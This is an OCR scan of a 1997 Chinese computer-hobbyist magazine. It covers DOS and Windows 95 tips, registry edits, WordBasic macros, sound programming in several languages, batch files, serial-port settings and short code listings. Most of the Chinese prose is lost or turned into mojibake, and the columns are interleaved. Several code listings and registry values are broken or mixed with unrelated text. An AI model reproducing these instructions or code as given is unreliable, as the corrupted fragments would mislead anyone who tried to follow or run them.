I=1+1
SKIP
ENDDO
USE
Nl=I-1
SET COLOR TO +W/RB
@ 2,60 MENU option,N1,12 TITLE "
READ MENU TO SEL

IF SEL =0
CLOSE DATABASES
RETURN
ENDIF
MYWORD = WORD (SEL)

.16.

SET FIL-

RETURN

SET FILTER

GO TOP

(A& FFR HRAR)

Excel 7 £  # 3 g

Microsoft Excel 5.0

Q.

excel 5.0

(B HER)
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MS -DOS 5
6
MS -DOS 6.22
fasthelp - - - -

DOS
thelp ( )

[command]/?( )
fasthelp[command] ( )

command

dir/? fasthelp dir

help topic( )
topic
DOS
DOS
Batch commands ( )

) Drvspace — Tips(

DOS
) Examples ( ) Notes (
DOS
help MS -DOS
F1
( Tab

Computer Fan 1997 .2.

DOS

Device drivers(

MS -DOS

fas-

DOS

dir

M ulti - config (

)

Syntax (

topic

Page

=H
“»| DOS BIEXANZEHN

Down Page Up Shift + Tab
Alt +C
Alt +B Alt +N
1.MS -DOS
UCDO0S6.0 3.0
DOS
2.
MS -DOS
fas-
thelp.exe doshelp.hlp
DOS
DOS
help.com
help.hlp gbasic.exe help.com
413 gbasic
help.hlp help.hlp (300K B)
15
3.Help / h
MS -DOS
(L&A IRARRE)
17



? MSWORD

WORDBASIC

1. 5%
“ Sub MAIN
Word 10 On Error Goto cal _execute

N 20 AppActivate' "1
MSWORD 30 Goto done

‘ " ‘ " DOS 40 cal —execute:
(BAT ) 50 Shell"c: \windows\calc.exe", 1
60 done:
End Sub

MSWORD EX
1. 10 cal-execute AppActi-

“ "

@ “ ” “ ” “ n vate

@ ) 20 “ -
PR WINDOWS

« " « " “ CALCULATOR"
« om 50 WORDBASIC “ SHELL”
7 u " WORD WINDOWS

“ ”

MSWORD 60 © END”

WORDBASIC MSWORD
O v " “ " 2. AFMIR

“ " ( 26 Sub MAIN
10 On Error Resume Next

) 20 name $ = InputBox § (" o
WORDBASIC n o)
© " 7 BASIC C 30 On Error Goto 0

WORDBASIC 40 Kill name $
End Sub

10 “

” “ ”

« » « om “ " 20° InputBox $”
« om “ name $” 8T

“ " MSWORD
30 MSWORD

MSWORD

“ M 40 MSWORD
“ - “ " w wa “ KILL( )"
" “ " (r& )

.18. W EAFE 1997 2.



A

Turbo C
2086 4. BEHAX (Compact Mod-
TURBOC
Hg 64K IMB
20 16
2 a1 ‘
1. AKX Tiny Model ) e
‘ A |
5. KX Large Model )
( CS=DS=SS=ES) *q]
16
64K IMB
64K
DOS EXE2BIN .
(.EXE) COM 3 6. EAREX(Huge Model )
2. NABEKX (Small Mod- 1%
Turbo C
el ) 64K
Turbo C 1_; 64K
16
Turbo C
64K sS Compiler
ES DS DS =
SS=ES
. 64K
3. PAAEX(Medium Model ) 64K
20
16 (15 HEA)
IMB 64K

Computer Fan 1997 .2. .19.



&

WIN95 .cab

windows95
win95
win95 .cab

ertoy extract

: http:// www .microsoft.com/ windows/ software/ powertoy.htm

toy .exe 245k)

1 layout .inf

win95
microsoft  pow-
powertoy

pow er-

.cab

= S6 NIM

.cab win95 precopy?2.cab
extract notepad search
.cab
2 DOS extract /a ‘l‘
I
powertoy  cabview
win95 kemel32.dll .cab c:\ temp ms — dos m
prompt c:\temp\extract /a d:\win95\win95-02.cab kernel32.dll  extract
16  .cab c:\temp Zi
system monitor modem
win95  system monitor modem I i
control panel modems
properties — connection — advanced — record a log file - — ok q
system monitor edit — - add item modem
edit — —edit item

value 2880 3360

win95

shelliconcach

32
win95
win95 paint image — — attributes
height .bmp
property — short cut —change icon
windows

win95

win95
regedit .exe regedit
findw hat RegisteredOw ner

teredOw ner
Open
win95

.20.

width

1
I5

Windows

find
Regis-

awobniW

W EAFE 1997 2.



B

explore  my computer
open
S50k .txt (notepad 50k )
mspaint .exe .bmp
shift
open with
open
with shift
Lixt

view —options — file type

edit —

my computer
text file
new action open with Ap-
plication used to perform the action

c: \program files\acessories\wordpad.exe ok

Ltxt
notepad wordpad
wordpad notepad txt
Ltxt
wordpad my computer view —options — file
type text file
edit open with set default .txt
wordpad
Recycle Bin
Recycle Bin
Rename
Recycle Bin
regedit .exe
edit — find Recycle Bin find next
edit Recycle Bin
find
registry Recycle Bin
( 1) reged-
it.exe win95 Recycle Bin
Notepad
Lixt .me,
st Llog

Notepad

c:\ windows Notepad.exe

Computer Fan 1997 .2.

—Notepad.exe Explore My Com-

puter  View — Options — File Types — New Type
Associated —Extension uvw
New Action
Open Application used to perform action
¢:\ windows\ —Notepad.exe ok
win95
Open with -Notepad .exe
Notepad.exe
.bat
.bat win95
.bat

HKEK-CLASSES-ROOT

regedit .exe

\batfile EditFlags M odify DO
04 00 00 DO 00 00 00 My Computer
Explore View — Options — File Types MS -
DOS Batch Files Edit Set Default (
Registry Set Default
) .bat win95
Notepad.exe
Modem
modem win95 modem
modem
(
Hayes) modem

regedit .exe HKEY - LOCAL - MA-
CHINE \ System\ CurrentControlSet\ Services\
Class\ Modem

0000 DriverDesc
modem 0000 Answer,
Hangup,Init,Monitor,,Response,setting
AT
modem AT



E310 Windows)s B

Windows95
“ MS -DOS ?
Windows95
MS -DOS
Windows95
Starting windows 95..." F4
DOS F8

(D

Microsoft Windows 95 Startup M enu

. Normal

. Logged (\BOOTLOG.TXT)
. Safe mode

. Step — by —step confirmation

. Command prompt only

[ Y R S O R S

. Safe mofe command prompt only
7. Previous version of MS - DOS
Enter a choice: 1 Time remaining: 26
F5 = Safe mode shift + F5 = Command prompt shift +
F8=step — by —step confirmation [N ]

B 1
Windows95
2.
2
3.
3 4
e ’ EE .- )
&1 Folders Toobar
5 Adobe »
E Starllp . E : Bos::o_v SIWE,
8 5005 Piompt B M o sy
® Spalllcons
e i
Dietals
B dwangefeans ¥
Ling up lzons

A 2
4. “ [s]”
5. MSDOS.SYS
5
6 5 (R)

.22,

[

™ Hide files of thess bpes:

Hidden Files -
DLL  [Applicabon Extession]

EYE [Spen lik)

WRD (inual device diiven)

06 inual device diver) -
R (Mesice diweed |

™ Deplay e Sl ME-DOS gath in the s bar
¥ Hide MS-DOS file cxtensions fof file ypes tha ai

F Inchide descistion Ba fo ighland kel panss

PR el [

A vy

= Exploring - Lhy [[C-]

Eile Edt Wew Tooks Hsip

| Al Folders | Conteritz of Lhw [C:F
[35 Deckiop & A &= chio
= A5 My Computer (i d=pan (i D ks
| =3 3% Floppy (&) (B Papwpoil [ P apevie
S Lhw [C) (@ Photoshp i Fecycle
. A i " irdovs ] “F5T1:
i chig =
it~ ] Seandick.  Open With..
+ (il Deskscan HE”MIOD Send To [
N |om] Systern 14
i Papipon Cut
i Papiview LR o
i Patterns T
+l (] Photoshp Q‘;ms
e Recycled T
{im svsbak e
= [fi windows Propeitiss

Mzdos_sys Mroperties

R |

! %SI Bzl sy

Tepe: Spstem file
Location: L%
£ 1 EOEE [1.641 by

MS-D0S name:  MSDDS S¥S

Created: Wednesday. November 27, 1096 &:22:36 PR
21998 420038 P
A Friclow), Db 13, 1896
Atrits T Hesdonld  F Hidden
=tk = = 1

B
7. MSDOS.SYS
7 NOTEPAD ( )

8
8. [Options]
BOOTMENU =1
[F] (s)
(x)

10. 4 “
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&

[I]H
(
1)
Window s95 DOS
Window s95
Win-
dows95
Windows95
C:\BOOTLOG.TXT TYPE
EDIT BOOTLOG.TXT
CONFIG.SYS AU-
TOEXEC.BAT
Windows95 DOS DOS
WIN
DOS WIN
Windows95
Open With [z 1 =]
%ﬁgﬁg‘;mwmmmﬂruwu‘umﬂ‘w Files
IF thes programm o want is not in e st olick Other.
_‘h—m::':;i"nloﬂlm Aol ot bo use: =
:___"C,Lwonle;s
ot careiers
=
= i
=1
I Alwous Use thes program bo opcn this e of tile
=] Erraresn || s o
A7

| Pakies | =
WARDAT €L WIHDOVE

WIRRENTE F=F D WTHOAKS

HusLUintuetiru=;

[MpFinns]
BuelliulLi=1
EuskHENU-1
Enathir-1
HeLwprk=8

|
L i
B8
Geneal |
(] Moo
Type: Syesten lile
Locaton: (=Y

Sizer 1E0KD (1641 bytes]

ME-D0E name:
Created:

MSDOS.5¥S

‘wednasday. Movember 27 1996 4:22-36 P
27. 1936 4:22 36 PM
Thunsday, Jamaesy 02 1997

Accerzmd

Attt ' Bead-ony

¥ Hidden
= B

|

[ |

B9

(dw 2—w)
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A044
A045
A046
A047
A 049
A048
A050
A061
A062
A063
A064

A065
A 066
A 067
A068
A069
A070
A071
A072
A073
A074
A075
A076
A077
A078
A079
A080
A081
A082
A083
A 084
A085
A086
A087
A088
A089
A090
A091
A092
A093
A09%4
A095
A 096
A097
A098
A099
A100
A101
A102
A103
A104
A105
A106
A107
A108
A109
A110
Alll
Al12
A113
All4
All5

P75

(57)
(CD)
C 3D SYSTEM (CD)
(cD)
(cD)
(CD)

89
60
60
60
60
60
78
250
95
150

— e o

(cD)
(4 )

—D0S3.0(2 )

(2 )
JWPS CCED
(10 )
(7 )

150
150
465
435

55
195
88
88
80
80
80
80
80
80
80
80
60
60
200
120
120
120
360
220
220
220
135
65
145
135
135
95
85
65
85
55
55
55
55
55
55
55
55
55
55
55

1800

1100
900
560
760

) 230

(2
< >
WINDOWS3.1

1+1

3" 5
(3”7 5
3" 5")
(3" ’
(3"
(3"
(3"
(3"

WD b

(5")
(5")
(57)
37 5")
3" 5")
(37 5")
( )(3 "
( )(3 "
(1-2 )
(3 )(
30 (37)
(37)
(3")
1000

57)
57)

Y37 5m)
Y37 5")

—_
N O U LB BB ERNDNDNDNDWERDNDNDNDNDDNDND

—_—
(=i}

(1—4

.23.



&

At ANBRT ALER Tk

3alb6c2d3e
RLE

aaabccceceeddeee

RLE
1.PCX

1 Ch Ch > 0xc0
Oxcl Ch
OxcO+N Ch
N ff — ¢0 = 3fh (
63) N 63
2.BI.LRLES8

WINDOWS3.0 3.1

0504

8 (256 )
3.BI-RLE :
WINDOWS3.0/3.1
BI-RLES8 : BI-RLE4
16
4. (Packbits) :
Apple
TIFF
BI-RLE8
lclele1e2132325648

M acintosh

:83 1c 21 81 32 56 48
128
128 7t

1952

.24.

ABAC-
CDAA A(0) B(10) C(110)
D111) 010011011011100
LZW
LZW
0x 100 "
abceddeee" 0x 100
0x 100
LZW
0 1
( )
( )
JPEG( Joint Pho-
tographic Exprerts Group)
JPEG
JPEG
JPEG
1% 80 ~90%
(& &R)
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s

W, i

A= B Sk, F—k b %-‘
RIBAT = REE Fp— R F LA T —
B R F— R EARAE e % ;4:&3‘511‘%5 -
Ri&H, H—RBIBRERANF LTI RFHLKT.
S IEJERR, R MIRE K RPTEM, BIELFH T LR
9/7 H%5? (deRREEREABIERmE, FLRLIEZ
KR, AL RERRMFEE L, MEELHS

/kéﬁ ) A& A # Ak B RS B gk A R B A
R=A
™o
c
C:\ [eg)
notcommand |
command.com com-
mand.com A dir c:
command.com 65117
68910 kv200k , av95
c config
kv200

ZHEHE R THUF

(#dk  ZA)

HFAFTX—keh1BE, BALFRERE
250 M EREM T, ALhRT? RFELZAAR
M2 m, ERRFHRZGRGHREE AT F
R, ARARTIRALFFHRLSZMFET, B4
FAT—RIZB R EN TR,

%ﬂﬁﬁ?ﬁﬁ'ﬂ?"ki% RELE T T3] FRXRE
B EAINIRE o AT VA AT & ik 64 T8 24
B, BB TARAE A 24 T H B4k A, @it
WHERRA ISR, WA RAFRE YK, AA
Mz F RSN HZ IR T AL AL ERETE
P 3X, AT — e 3R RY

FR1y HL o

1993
AST SX/33 2M 170M

.26.
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DOS COPY CD CON-
FIG AUTOEXEC

PCTOOLS GB4

RPG II

FoxBASE +
FoxPro C IN-
TERNET JAVA

FM BE)

& JUATRT, P A K kAL — 1% S m A
W 3] JEia W AR, A FPH AN R R4, i
RA X 3z, KR —  AANER, AR A RS
AWETH? AT XA ED? BLRECE
B — Ak, B0 Rk iR KR T A7 sk & AN
F— ATk E W R A, BB A

HL b3 H 22
VCD
DOS DOS

Computer Fan 1997 .2.

HP Win95 UucCbO0S 5.0
UCDOS 5.0
CONFIG.SYS
DEVICE = ANSI.SYS ANSI.SYS
DOS 5.0 DOS 6.x

FOXBASE + BASIC

(R W5 8)

.27.



1k KA1 85 8w X

— ARG B R R

12
C #C D #D E F #
FG #G A #A B 12

n=78,79, .84
f( ) n

f=61.73541 x 1.0594631n
n€1,84],f€[65,7902]
n=25 27 29 30 32 34 36 37

1
1
C 262 G 292
(¢ ) 278 (G ) 416
D 294 A 440
(D ) 302 ( A ) 466
E 330 B 494
F 350 C 524
(F ) 370

=.TURBO PROLOG #3%

TURBO PROLOG beep
sound beep sound
beep
sound
sound (Duration , Frequency )

Duration

Frequency
sound

beep  sound

.28.

/% :sound . pro */
/* : */
predicates
t two-beep
F make-sound
goal
two-beep,
make-sound.
clauses
two-beep: —
beep,
beep.
make-sound : —
/% 1 B */
sound (100,494) ,
/% 1 G */

sound (100,392) .

=.QUICK BASIC &%

QUICK BASIC beep
sound
sound
SOUND frequency, duration fre-
quency 37 ~ 32767
duration 0 ~ 65535 (17
18.2 )
1 262
BASIC

sound 262,18
beep

. TURBO PASCAL #&%
TURBO PASCAL

sound sound (frequency ) frequency
delay
delay (duration) duration
nosound

program music;

uses Crt;

begin
Sound (200) ;
Delay (200) ;
NoSound;

end.

1=D 4/4

I1:6 3231716--01365 321213~ -35
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6765 3211123~ 12376516~ -0:11I

TURBO PASCAL
1

6 n=22 f
220

{ }
{ : }
pl‘ogram example;
uses crt ;
procedure make-sound (frequency :integer ;duration :real) ;
begin

sound (frequency) ;

delay (trunc (1000 * duration ) )
end;
{ }
begin
{ , : ; ,

:

make-sound (220, 6); make-sound (330, 2); make-sound
(294,2);

make-sound (330, 2); make-sound (262, 2); make-sound
(246,2) ;

make-sound (220,12) ;

make-sound (330, 2); make-sound (440, 4); make-sound
(392,2) ;make-sound (330,2) ;

make-sound (294, 2); make-sound (262, 2); make-sound
(294,2) ;

make-sound (330, 12) ; make-sound (330, 2) ; make-sound
(392,2);

make-sound (440, 6); make-sound (494, 2): make-sound
(440,2) ;

make-sound (392, 2); make-sound (330, 2); make-sound
(294,2);

make-sound (262, 2); make-sound (262, 4); make-sound
(294,2) ;make-sound (330,8) ;

make-sound (294, 6); make-sound (330, 2); make-sound
(246,2);

make-sound (220,2) ;make-sound (195,4) ;

make-sound (440,12) ;

nosound
end.
{ }
A . TURBO C#&3F

TURBO C sound
(frequency ) frequency delay
(duration) duration

nosound nosound ()
512
1
main ()

Computer Fan 1997 .2.

B

sound (512) ;
delay (1000)

nosound () ;

}

7~.FoxPRO # ¥ Ei5 =

FOXPRO SET BELL

ON | OFF SET BELL TO SET BELL
ON | OFF

!

ON SET BELL TO
< duration > ]

[ <frequency >,

0.549
1 ~ 10000 1~
19 512 2
0.549x2=1.098
SET BELL ON
SET BELL TO
X LB E
DOS BIOS
DEBUG sound .com

sound .com

c:\>debug
—n beep.com
-a
195F : 0100 mov dl,07
195F :0102 mov ah,02
195F :0104 int 21
195F : 0106 int 20
195F : 0108
- cx
- CX 0000
:8
-w
Writing 00008 bytes
—-q

(L E - FLk)

.29.



=B E A BT FHIE

3DS

3DS
TGA
GRAPHICS
WORKS  HIJACK PCX, TIF,
GIF,CUT,PIC,TGA,IMG,GEM ,BMP ,DXF ,PGL
CORELDRAW
UuCbhOS

PCX

TGA

3DS TGA
3DS - F1 2D SHAPER (
) ( GOOD) -
CREATE/TEXT/FONT ( /
NEWEXBLD.FNT
( ) —OK —CREATE/TOAT /E-
MER ( / / ) - “ GOOD”
—CREATE/TEAT /PLACE ( / / ) -
F2 3D LOFTOR( ) -
SHAPER/ GET/ SHAPER( /
/ ) —YES - OBJECT / M AKE ( /
) - GOOD - CREATE -SUR-
FACE/MATERIAL/CHOOSE ( /o ) -
REDPLASTIC ( ) -OK -
SURFACE/MATERIAL/ASSIGN/BY NAME (
/ / / ) - ALL -0K -
LIGHTS/OMNI/CREATE ( / / ) -
TOP - CREATE -
TOP - CREATE - CAMERAS/
CREATE( / ) - LEFT
-  GOOD —CREATE( ) -
USER ( ) - RENDER/ RENDER
VIEW ( / ) - DISK
RENDER ( ) -
30 -
3DS

.30.

COREDRAW
TGA

COREDRAW
pPCX

3DS
PCX

TGA

COREDRAW
FILE ( ) IM-

WINDOWS

PORT
TGA  3DS OK
COREDRAW
FILE
.PCX
BITMAP EXPORT
256 COLORS OK
DRAW .TGA - .PCX

EXPORT

16COLORS
CRE-

PCX

UCDOS 3.1,UCDOS 5.0,2.13
“ GOooD”
UCDOS5.0

UCDOS 5.0
UCDOS
(UCDOS 3.1

RDPS
RDSL)

FOXBASE
+’[RE50,50,FF.PCX § ]
BASIC
[RE50,50,FF.PCX $ 1°
C PRINT
FF.PCX]")
50, 50 FF.PCX
3DS COREDRAW PCX
UCDOS

@ 0, 0SAY CHR(14)

PRINT CHR(14) +°

("\ 16[RES50, 50,

486/66 8M 540M

(78

HH)
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Y

PCTOOLS 9.0 IVEMAP.EXE

— LS R

—_
o
A 0N O WL W

H
W
w N -

—
o
A b

(25 ) 9 )
Ol ER S -

PCTOOLS
MMAP.EXE DRIVEMAP.EXE

v

9.0 COM-
LIBPCTO2.DLO

— @ik
PCTOOLS 9.0
DRIVEM AP .EXE

WE“HE"HY 3

“ ”

NOR-
TONS.0 DISKREET

1.
DOS DEL PCTOOLS

2.

3. 32M B

4.

1 C NU

Computer Fan 1997 .2.

AN Wk 00N W

3% X AT 32 38 IR

(2) DRIVEMAP.EXE
(3)

“ Local Drives”

(available for mapping)
" to remote”

LocalDrives”

" ‘mapped to c: on 575"

DOS
(3)
DRIVEMAP .EXE

LPT1 LPT2
DOS 80286.80386.
Cx486DX2/80
Gh& k@)
DISKREET INI EXE
SYS HLP ICO NLIB200.RTL
2. CONFIG.SYS DEVICE =C:\
NU\DISKREET .SYS
3. DISKREET
4. ALT +N NDISK
5. CREATE NAME
DESCRIPTION
LOCATION SIZE
32M B 5120KB
6. ASSIGNED DRIVE CELLER
[D:...] “ "
LASTDRIVE
7. PASSWORD
(e R H)
.31



X

i
WINDOWS

RAEEE u-

Windows

Windows
Windows Windows3.1
Windows
Windows
Windows3.1
comm .drv, ved.386
Windows API

com-

buff.386 comm .drv

RS -232 Windows
ved.386  combuff.386
Windows
ved. 386
comm .drv combuff.386
Windows
1. UART UART
/
UART 8250A 16450
UART
(IRQ) CPU UART
CPU
UART
8250A 16450 UART
UART
16550 UART
16
16550 UART
.32.

L7144
2.
UART
ESP ESP 8
16450
UART 1K DMA
ESP 1024
FIFO
ESP
3.
UART
Windows UART 16550
Turbocom Windows
Turbocom 16550 UART
Turbocom .drv
comm .drv,turboved.386 ved. 386
SYSTEM .INI [386enh |
Comm .drv = Turbocom .drv ESP
ESP Windows
SYSTEM .INT [386enh |
Comm .drv = ESPWIN31.DRV
Windows
Windows
Windows SYS-
TEM .INI
1. Comm .drv = filename,
filename Windows
2. COM
CommboostTime =x , x 2ms
X
3. DOS RAM
DOS Win-
dows RAM COM
UART
comxbuffer = number x 1-4 number 1-
10000 128 number 512
4. cCoOM 1/0 1/0

W E AT 1997 2.



Ty

[ e e

=il @IRlE) RItm ol s
T —

VB 4

Delphi

VB4  Delphi Box OptionButton  ListBox
Win3.X
Delphi
Win 2. form Border-
Style bsSizeable
VB4 Delphi bsDialog
DLL 3. (
CTL3dV2.dll Delphi “ "
VB4 Word
)
2. form Auto3D VB4 Auto3D Delphi
false true VB4 Ctl3D true
3. form BorderStyle VB
3- Delphi form
Fixed Double FormStyle fsStayOntop
4. “ " “ "Win
Delphi “
Auto3D true "
Text Frame Check- (L& &%)
170 IRQ COM ComXautoAssign = number x 1~4 num-
1/ 0 ber = -1 Windows
comxbase =address x 1-4 address 1/0 number =0
Windows3.1 / IRQ num-
ber >0  Windows
COM 1 COM2 COM3 coM4 Windows
/IRQ 03F8/IRQ4 02F8/IRQ3 03E8/IRQ4 02E8/IRQ3 number
5. COM IRQ: comxirq =num- 2
ber x  1~4 number COM 8. COM M axcomport = num-
IRQ ber number 4 9
-1 coM SYSTEM .INI
6.EISA IRQ comIRQshar- Windows
ing = boolean, boolean ON OFF
CoOM3 CoM4 COM1 COM2
IRQ boolean ~ ON
7.DOS  Windows (L& k)
Computer Fan 1997 .2. .33.
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BATCH FILE dir newfile
(BATCH PROGRAM DOS
BAT DOS batl.bat oldfile newfile
%0 % 1 %2
DOS
TIMEDATE .BAT PAUSE
TYPE TIMEDATE .BAT type bat2.bat
@ECHO OFF dir %1 % 1
cLS pause
DATE<CR  CR ASCII 13 copy %1 %2
pause
ECHO dir %2 %2
TIME <CR
pause
ECHO dir %0 %0
EDIT EDLIN pause
COPY dir %3 %3
DOS bat2\autoexec.bat autoexec.bak
TIMEDATE .BAT CLS
DATE TIME
oS FOR
%0~ %9 FOR % %var IN (fileset) DO command com-
0 mand
%0 1 % Yov ar a~z
0
A~7
% 1
%2 fileset
‘0
bat1.bat
dir %1 command DOS
ir %
ren %1 %2 FOR
dir %2 1 DOS TYPE
FIND
c: >batl oldfile newfile C:\UCDOS > FOR % %I IN (* .WPS) DO DIR
oldfile new file % %1 c:\ ucdos WPS
%1 %2
2 DOS

dir oldfile

ren oldfile new file

.34,

C:\UCDOS >FOR % %I IN (CLS VER DIR) DO

W E AT 1997 2.



Vsais

Computer Fan 1997 .2.

V safe 1.
DOS BACKUP “ K RAR K WIN .RAR
— W& Vsafe 2 ‘-8t -Ds”
V safe ALT +V Vsafe Warning ( )
type 1~8 ESC
V safe 3.
_ \ “ W
R X
( DEVICE=C \DOS\RAMDRIVE.SYS 2048
BACKUP 256 512/F /E
)
B RAR-WD \ RAM B \ WIN .RAR C \ WIN-
Y K- DOWS
C:\> RESTORE C:C:/S, 4.
V safe RAR X"
. . o
“ 0" Vsafe RAR A = X_.INI WIN\WINDOWS
C WINDOWS INT
DOS WIN
(@l EER) (#Hk  TiR)
% %1 cls ver dir IF1UCDOS UCnos
IF1 FOX FOX
IF
GOTO
IF CONDITION COMMAND lablename
IF NOT CONDITION COMMAND GOTO LABLENAME
CONDITION LABLENAME
LABLENAME
errorlevel n > =N TYEP GOTO1.BAT
exist filepath ECHO OFF
IF EXIST UCDOS.BAT GOTO L1
) !
“ stringl" = =* string2" STRING1 STRING2  FCHO UCDOS.BAT NOT FOUND!
UCnos
COMMAND  DOS GLOITO END
\UCDOS\UCDOS
TYPE IF1.BAT END
IF %1==UCDOS \ UCDOS\ UCDOS @ ECHO CALL
UCDOS UCDOS SHIFT
IF %1==FOX \FOX\FOX FOX s b
L B
FOX (iz7 §it)
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X

A Visual Basic

Rt RENHEPRE

Visual Basic

Object . SetFacus

Form1 Com-

mand1 Textl

Textl.SetFocus
F5

Sendkeys "{TAB}"

Index ( Properties )

VB

API API

SetCursorPos

MoveCursorOn

declarations

Type PoinT API
x As Integer

y As Integer
End Type

Declare Sub SetCursorPos Lib "User" (Byval x As Integer,

Byval y As Integer)

Declare Sub ClientT oScreen Lib " User" (Byval hwnd As

Integer,IpPoint As PointAPI)

Declare Function GetParent Lib " User" (Byval hwnd As

Integer)As Integer
(ALT + N—>N—
MoveCursorOn)
Sub MoveCursorOn (source As Control)
Dim Pt As PoinT API
Dim hparent As Integer
p.x = (Source.Left + Source.Width/
Screen . T wipsperpixel)
p.y =
Screen . T wipsperpixel)

(Source.Top + Source.Height/

hparent = GetParent (source.hwnd)

ClientT oScreen hparent pt

.36.

SetCursorPos pt.x pt.y
End Sub

Command]1
Move Cursor On Command]l

Command1

Windows

(
)
(DOS )
Default
KeyPress
IF KeyASCII =13 Then
KeyASCII =0
Sendkeys "{TAB}"
END IF
Enter
TAB
TextBox T extBox
MultiLine True

(T ALBEH)

0S/2 5 Win95 £ 5% & 7 %

0S/2 0S/
2Warp FDISK
(
) 0S/2 0S/2
(FAT  HPFS)
HPFS 0S/2
0S/2
0S/2 MS -DOS
C: (Win95 ) DOS
Wiwndows 3.X Win95 0S/2
Win95

0S/2

0S/2  Win95

(x/®m X3%)
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HEI %
486DX / 80

16M 540M VGA

9440 1M 3DS

F5 8
F4
WINDOWS,

UCDhOS
HIFEHE R 23,

9440
4 4

VGA

WINDOWS UCDOS

VCD

M F
486DX /
540M 5426

VCD

66 8M
VGA

CD OK CD

M H R 23T

Visual Basic

Windows

DOS Windows

DOS
For Windows

VB For Win-
dows

VB Windows

Computer Fan 1997 .2.

VB

DOS
Shell

a:user.arj c:\use

VB

dows

CD
CD
VCD
(5% HAH)
Shell
Shell
<, >
“arje
.
Shell
Arj for Windows
Win-

(xR

.37.



UucCbOS

UCDOS5.0 Quick BASIC

QBASIC
)2 5SCREEN 12: CLS
i PRINT CHR $ (14) + "[{-3301370@P)1(14 }1": REM UCDOS
LOCATE 25, 60: PRINT " "
LOCATE 1, 63: PRINT "0": REM - - - - — — — — — — — — — — —
S LINE (400, 0) - (600, 180), 15, B
/,\ CIRCLE (500, 160), 140, 15, 60 / 57.3, 120 / 57.3, 1
LINE (500, 17) - (500, 23)
_— LINE (424, 34) - (427, 39): LINE (576, 34) - (573, 39)
ﬂ_‘- CIRCLE (500, 160), 3, 13: PAINT (500, 160), 13, 13
CIRCLE (580, 170), 3, 13: CIRCLE (420, 170), 3, 13
LOCATE 10, 54: PRINT "-": LOCATE 10, 72: PRINT "+"
2, LINE (500, 160) - (500, 25), 13
f}:)\ LINE (40, 50) - (40, 350), 15: REM - = - — — — — — — — — e—t
LINE (40, 200) - (600, 200), 15
LOCATE 3, 6: PRINT "e (V)"
LOCATE 12, 76: PRINT "t (S)"
/fi}: LINE (175, 195) - (175, 205): LOCATE 13, 21: PRINT "T /4"
LINE (310, 195) - (310, 205): LOCATE 13, 38: PRINT "T /2"
LINE (445, 195) - (445, 205): LOCATE 13, 55: PRINT "3T /4"
éﬁ LINE (580, 195) - (580, 205): LOCATE 13, 73: PRINT "T"
LINE (35, 70) - (45, 70): LOCATE 4, 3: PRINT "Em"
LOCATE 12, 3: PRINT "0"
- LINE (35, 330) - (45, 330): LOCATE 19, 2: PRINT "-Em"
— R = 3: CIRCLE (175, 340), 80, 10: REM - - — - — — — — &
z CIRCLE (175, 340), 1, 15: PAINT (175, 340), 15, 15

CIRCLE (100, 340), R
LINE (100, 340 - R) - (250, 340 - R), 12
LINE (100, 340 + R) - (250, 340 + R), 12
LOCATE 14, 22: PRINT "N":

saUnafzatnat
i‘ﬁ"ﬁ’“ i‘ﬁ"i‘ﬁ"

i
gl £

.38.

, 12: CIRCLE (250, 340), R, 14

LOCATE 25, 22: PRINT "S"

LINE (90, 230) - (90, 250), 15: LINE (90, 250) - (260, 250), 15
LINE (260, 250) - (260, 230), 15

LINE (90, 450) - (90, 430), 15: LINE (90, 430) - (260, 430), 15
LINE (260, 430) - (260, 450), 15

LINE (90, 340) - (260, 340), 15: LOCATE 20, 34: PRINT "
LINE (92, 250) - (92, 430), 11: LINE (147, 250) - (147, 430), 11
LINE (202, 250) — (202, 440), 11: LINE (257, 250) - (257, 430),

11
PRINT CHR $ (7): PRINT CHR $ (7)
LOCATE 1, 2: PRINT " "
10a$ = INKEY $:IFa$ = ""THEN 10
a = 130: Q = 30/57.3: X0 = 40: YO = 200: REM
X1 = X0: Y1l = YO
FORI = 0TO 360
J=1/57.3

W E AT 1997 2.



A 1T o (e 7 LB AT B S

8M  16MB
CMOS RAM
“ DEL F10 Ctrl <Alt> <Esc>
CMOS SETUP BIOS
SETUP “ ADVANCED CMOS
CETUP” CMOS
1. “ System Boot Up Sequence:”
“AC7 A
C
A
“ PgDn”

“ oA
2. “ Above IMB Memory Test”
“ Disabled”
RAM IMB
IMB
“ Enabled” IMB
* Disabled”
3. “ Floppy Driver Seek At Boot:”
“ Disabled”
* Disabled” A B
“ WRITE

TO CMOS AND EXIT” F10

(k. E£H)

X2 =X0+ 1.5%1:Y2=Y0 - a * SIN(J)

LINE (X1, Y1) - (X2, Y2), 14: REM

X1 = X2: Y1 = Y2

X = 500 + 135 % SIN(Q * SIN(J)): Y =
* COS(Q * SIN(]))

LINE (500, 160) - (X, Y), 13: REM

CIRCLE (175, 340), 1, 15: PAINT (175, 340), 15, 15

X3 = 175 + 75 % COS(J): Y3 = 340 — 75 * SIN(J)

X4 = 175 - 75 % COS(J): Y4 = 340 + 75 * SIN(J)

CIRCLE (X3, Y3), R, 14: CIRCLE (X4, Y4), R, 12:
REM

LINE (X3,Y3 - R)-(X4,Y4 - R), 12: LINE (X3,
Y3 + R)- (X4, Y4 + R), 12

LINE (90, 340) - (260, 340), 15: REM

LINE (92, 250) — (92, 430), 11: LINE (147, 250) —
(147, 430), 11

LINE (202, 250) - (202, 430), 11: LINE (257, 250) -
(257, 430), 11

FORK = 0TO 0: H = K ~10: NEXT : REM

LINE (500, 160) - (X, Y), 0: REM

CIRCLE (X3, Y3), R, 0: CIRCLE (X4, Y4), R, 0

LINE (X3, Y3 - R) - (X4, Y4 - R), 0: LINE (X3,
Y3 + R)-(X4,Y4 + R), 0

160 - 135

Computer Fan 1997 .2.

NEXT

LINE (500, 160) - (500, 25), 13: REM

CIRCLE (250, 340), R, 14: CIRCLE (100, 340), R,
12

LINE (250, 340 - R) - (100, 340 - R), 12

LINE (250, 340 + R) - (100, 340 + R), 12

LINE (92, 250) - (92, 430), 11: LINE (147, 250) -
(147, 430), 11

LINE (202, 250) — (202, 430), 11: LINE (257, 250) -
(257, 430), 11

PRINT CHR $ (7): PRINT CHR $ (7)

LOCATE 1, 2: PRINT " Y N "
20a$ = INKEY $

IFa$ = "Y"ORa$ = "y" THEN 5

IFa$ = "N"ORa$ = "n" THEN END

GOTO 20
UucCbhOS QBASIC
JLD .BAS DOS
JLD .EXE Pause



FRElolfasms

BASIC FOXBASE

PASCAL
cCOM
MASM LINK

EXE2BIN EXE COM

MS-DOS V2.0

PC/XT

Input a password: (
)
Input a new password:
(

“ abc”)

csd  segment
assume cs:csd
org 100h
main  proc far
push ds
mov ax ,0
push ax
mov ah,9
